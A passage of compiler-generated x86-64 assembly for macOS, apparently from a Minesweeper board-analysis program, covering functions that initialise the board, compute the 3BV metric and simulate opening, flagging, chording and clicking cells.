pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl -4(%rbp), %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
movslq -4(%rbp), %rcx
movq _size_isls@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %edx
addl $1, %edx
movq _size_isls@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB9_1: ## =>This Loop Header: Depth=1
## Child Loop BB9_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB9_12
## %bb.2: ## in Loop: Header=BB9_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB9_3: ## Parent Loop BB9_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB9_10
## %bb.4: ## in Loop: Header=BB9_3 Depth=2
movl -16(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -12(%rbp), %eax
movl %eax, -20(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 12(%rax)
jne LBB9_8
## %bb.5: ## in Loop: Header=BB9_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB9_8
## %bb.6: ## in Loop: Header=BB9_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB9_8
## %bb.7: ## in Loop: Header=BB9_3 Depth=2
movl -4(%rbp), %edi
movl -20(%rbp), %esi
callq _process_island
LBB9_8: ## in Loop: Header=BB9_3 Depth=2
jmp LBB9_9
LBB9_9: ## in Loop: Header=BB9_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB9_3
LBB9_10: ## in Loop: Header=BB9_1 Depth=1
jmp LBB9_11
LBB9_11: ## in Loop: Header=BB9_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB9_1
LBB9_12:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _init_board ## -- Begin function init_board
.p2align 4, 0x90
_init_board: ## @init_board
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq _openings@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl $0, -8(%rbp)
LBB10_1: ## =>This Loop Header: Depth=1
## Child Loop BB10_3 Depth 2
movl -8(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB10_20
## %bb.2: ## in Loop: Header=BB10_1 Depth=1
movl $0, -12(%rbp)
LBB10_3: ## Parent Loop BB10_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _w@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB10_18
## %bb.4: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -8(%rbp), %eax
movl %eax, -16(%rbp)
cmpl $0, -8(%rbp)
je LBB10_6
## %bb.5: ## in Loop: Header=BB10_3 Depth=2
movl -8(%rbp), %eax
subl $1, %eax
movl %eax, -20(%rbp) ## 4-byte Spill
jmp LBB10_7
LBB10_6: ## in Loop: Header=BB10_3 Depth=2
movl -8(%rbp), %eax
movl %eax, -20(%rbp) ## 4-byte Spill
LBB10_7: ## in Loop: Header=BB10_3 Depth=2
movl -20(%rbp), %ecx ## 4-byte Reload
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 20(%rax)
movl -8(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB10_9
## %bb.8: ## in Loop: Header=BB10_3 Depth=2
movl -8(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
jmp LBB10_10
LBB10_9: ## in Loop: Header=BB10_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp) ## 4-byte Spill
LBB10_10: ## in Loop: Header=BB10_3 Depth=2
movl -24(%rbp), %ecx ## 4-byte Reload
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 24(%rax)
cmpl $0, -12(%rbp)
je LBB10_12
## %bb.11: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
subl $1, %eax
movl %eax, -28(%rbp) ## 4-byte Spill
jmp LBB10_13
LBB10_12: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
movl %eax, -28(%rbp) ## 4-byte Spill
LBB10_13: ## in Loop: Header=BB10_3 Depth=2
movl -28(%rbp), %ecx ## 4-byte Reload
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 28(%rax)
movl -12(%rbp), %eax
movq _w@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB10_15
## %bb.14: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
movl %eax, -32(%rbp) ## 4-byte Spill
jmp LBB10_16
LBB10_15: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp) ## 4-byte Spill
LBB10_16: ## in Loop: Header=BB10_3 Depth=2
movl -32(%rbp), %ecx ## 4-byte Reload
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 32(%rax)
## %bb.17: ## in Loop: Header=BB10_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB10_3
LBB10_18: ## in Loop: Header=BB10_1 Depth=1
jmp LBB10_19
LBB10_19: ## in Loop: Header=BB10_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB10_1
LBB10_20:
movl $0, -4(%rbp)
LBB10_21: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB10_24
## %bb.22: ## in Loop: Header=BB10_21 Depth=1
movl -4(%rbp), %edi
callq _getnumber
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
movl %eax, 16(%rcx)
xorl %ecx, %ecx
subl %eax, %ecx
subl $2, %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 52(%rax)
## %bb.23: ## in Loop: Header=BB10_21 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_21
LBB10_24:
movl $0, -4(%rbp)
LBB10_25: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB10_33
## %bb.26: ## in Loop: Header=BB10_25 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
jne LBB10_31
## %bb.27: ## in Loop: Header=BB10_25 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB10_31
## %bb.28: ## in Loop: Header=BB10_25 Depth=1
movq _openings@GOTPCREL(%rip), %rax
movl (%rax), %eax
addl $1, %eax
movq _openings@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cmpl $1000, %eax ## imm = 0x3E8
jle LBB10_30
## %bb.29: ## in Loop: Header=BB10_25 Depth=1
leaq L_.str.1(%rip), %rdi
callq _error
LBB10_30: ## in Loop: Header=BB10_25 Depth=1
movq _openings@GOTPCREL(%rip), %rax
movslq (%rax), %rcx
movq _size_ops@GOTPCREL(%rip), %rax
movl $0, (%rax,%rcx,4)
movq _openings@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl -4(%rbp), %esi
callq _process_opening
LBB10_31: ## in Loop: Header=BB10_25 Depth=1
jmp LBB10_32
LBB10_32: ## in Loop: Header=BB10_25 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_25
LBB10_33:
movl $0, -4(%rbp)
LBB10_34: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB10_43
## %bb.35: ## in Loop: Header=BB10_34 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB10_41
## %bb.36: ## in Loop: Header=BB10_34 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 12(%rax)
jne LBB10_41
## %bb.37: ## in Loop: Header=BB10_34 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB10_41
## %bb.38: ## in Loop: Header=BB10_34 Depth=1
movq _islands@GOTPCREL(%rip), %rax
movl (%rax), %eax
addl $1, %eax
movq _islands@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cmpl $1000, %eax ## imm = 0x3E8
jle LBB10_40
## %bb.39: ## in Loop: Header=BB10_34 Depth=1
leaq L_.str.2(%rip), %rdi
callq _error
LBB10_40: ## in Loop: Header=BB10_34 Depth=1
movq _islands@GOTPCREL(%rip), %rax
movslq (%rax), %rcx
movq _size_isls@GOTPCREL(%rip), %rax
movl $0, (%rax,%rcx,4)
movq _islands@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl -4(%rbp), %esi
callq _process_island
LBB10_41: ## in Loop: Header=BB10_34 Depth=1
jmp LBB10_42
LBB10_42: ## in Loop: Header=BB10_34 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_34
LBB10_43:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _getadj3bv ## -- Begin function getadj3bv
.p2align 4, 0x90
_getadj3bv: ## @getadj3bv
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl $0, -12(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
jne LBB11_2
## %bb.1:
movl $1, -4(%rbp)
jmp LBB11_17
LBB11_2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -16(%rbp)
LBB11_3: ## =>This Loop Header: Depth=1
## Child Loop BB11_5 Depth 2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB11_12
## %bb.4: ## in Loop: Header=BB11_3 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -20(%rbp)
LBB11_5: ## Parent Loop BB11_3 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB11_10
## %bb.6: ## in Loop: Header=BB11_5 Depth=2
movl -20(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -16(%rbp), %eax
movl %eax, -24(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rcx
movslq -24(%rbp), %rax
imulq $56, %rax, %rax
addq %rax, %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, (%rcx)
movb %al, -25(%rbp) ## 1-byte Spill
jne LBB11_8
## %bb.7: ## in Loop: Header=BB11_5 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -24(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
setne %al
xorb $-1, %al
movb %al, -25(%rbp) ## 1-byte Spill
LBB11_8: ## in Loop: Header=BB11_5 Depth=2
movb -25(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
addl -12(%rbp), %eax
movl %eax, -12(%rbp)
## %bb.9: ## in Loop: Header=BB11_5 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB11_5
LBB11_10: ## in Loop: Header=BB11_3 Depth=1
jmp LBB11_11
LBB11_11: ## in Loop: Header=BB11_3 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB11_3
LBB11_12:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
je LBB11_14
## %bb.13:
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB11_14:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 8(%rax)
je LBB11_16
## %bb.15:
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB11_16:
movl -12(%rbp), %eax
movl %eax, -4(%rbp)
LBB11_17:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _calc_bbbv ## -- Begin function calc_bbbv
.p2align 4, 0x90
_calc_bbbv: ## @calc_bbbv
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _openings@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _bbbv@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl $0, -4(%rbp)
LBB12_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB12_7
## %bb.2: ## in Loop: Header=BB12_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB12_5
## %bb.3: ## in Loop: Header=BB12_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB12_5
## %bb.4: ## in Loop: Header=BB12_1 Depth=1
movq _bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _bbbv@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB12_5: ## in Loop: Header=BB12_1 Depth=1
movl -4(%rbp), %edi
callq _getadj3bv
movl %eax, %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
addl 52(%rax), %ecx
movl %ecx, 52(%rax)
## %bb.6: ## in Loop: Header=BB12_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB12_1
LBB12_7:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _open ## -- Begin function open
.p2align 4, 0x90
_open: ## @open
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 36(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %ecx
addl $1, %ecx
movl %ecx, 52(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB13_10
## %bb.1:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -8(%rbp)
LBB13_2: ## =>This Loop Header: Depth=1
## Child Loop BB13_4 Depth 2
movl -8(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB13_9
## %bb.3: ## in Loop: Header=BB13_2 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -12(%rbp)
LBB13_4: ## Parent Loop BB13_2 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB13_7
## %bb.5: ## in Loop: Header=BB13_4 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -12(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %ecx
addl $-1, %ecx
movl %ecx, 52(%rax)
## %bb.6: ## in Loop: Header=BB13_4 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB13_4
LBB13_7: ## in Loop: Header=BB13_2 Depth=1
jmp LBB13_8
LBB13_8: ## in Loop: Header=BB13_2 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB13_2
LBB13_9:
jmp LBB13_10
LBB13_10:
movq _closed_cells@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $-1, %ecx
movq _closed_cells@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _reveal ## -- Begin function reveal
.p2align 4, 0x90
_reveal: ## @reveal
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB14_2
## %bb.1:
jmp LBB14_16
LBB14_2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
je LBB14_4
## %bb.3:
jmp LBB14_16
LBB14_4:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
je LBB14_6
## %bb.5:
movl -4(%rbp), %edi
callq _open
jmp LBB14_16
LBB14_6:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
movl %eax, -8(%rbp)
movl $0, -12(%rbp)
LBB14_7: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB14_15
## %bb.8: ## in Loop: Header=BB14_7 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %eax
cmpl -8(%rbp), %eax
je LBB14_10
## %bb.9: ## in Loop: Header=BB14_7 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
cmpl -8(%rbp), %eax
jne LBB14_13
LBB14_10: ## in Loop: Header=BB14_7 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB14_12
## %bb.11: ## in Loop: Header=BB14_7 Depth=1
movl -12(%rbp), %edi
callq _open
LBB14_12: ## in Loop: Header=BB14_7 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %ecx
addl $-1, %ecx
movl %ecx, 52(%rax)
LBB14_13: ## in Loop: Header=BB14_7 Depth=1
jmp LBB14_14
LBB14_14: ## in Loop: Header=BB14_7 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB14_7
LBB14_15:
jmp LBB14_16
LBB14_16:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _flag ## -- Begin function flag
.p2align 4, 0x90
_flag: ## @flag
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
je LBB15_2
## %bb.1:
jmp LBB15_10
LBB15_2:
movq _zini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _zini@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 40(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -8(%rbp)
LBB15_3: ## =>This Loop Header: Depth=1
## Child Loop BB15_5 Depth 2
movl -8(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB15_10
## %bb.4: ## in Loop: Header=BB15_3 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -12(%rbp)
LBB15_5: ## Parent Loop BB15_3 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB15_8
## %bb.6: ## in Loop: Header=BB15_5 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -12(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %ecx
addl $1, %ecx
movl %ecx, 52(%rax)
## %bb.7: ## in Loop: Header=BB15_5 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB15_5
LBB15_8: ## in Loop: Header=BB15_3 Depth=1
jmp LBB15_9
LBB15_9: ## in Loop: Header=BB15_3 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB15_3
LBB15_10:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _chord ## -- Begin function chord
.p2align 4, 0x90
_chord: ## @chord
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq _zini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _zini@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -8(%rbp)
LBB16_1: ## =>This Loop Header: Depth=1
## Child Loop BB16_3 Depth 2
movl -8(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB16_8
## %bb.2: ## in Loop: Header=BB16_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -12(%rbp)
LBB16_3: ## Parent Loop BB16_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB16_6
## %bb.4: ## in Loop: Header=BB16_3 Depth=2
movl -12(%rbp), %edi
movq _h@GOTPCREL(%rip), %rax
imull (%rax), %edi
addl -8(%rbp), %edi
callq _reveal
## %bb.5: ## in Loop: Header=BB16_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB16_3
LBB16_6: ## in Loop: Header=BB16_1 Depth=1
jmp LBB16_7
LBB16_7: ## in Loop: Header=BB16_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB16_1
LBB16_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _click ## -- Begin function click
.p2align 4, 0x90
_click: ## @click
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %edi
callq _reveal
movq _zini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _zini@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _hit_openings ## -- Begin function hit_openings
.p2align 4, 0x90
_hit_openings: ## @hit_openings
.cfi_startproc
## %bb.0:
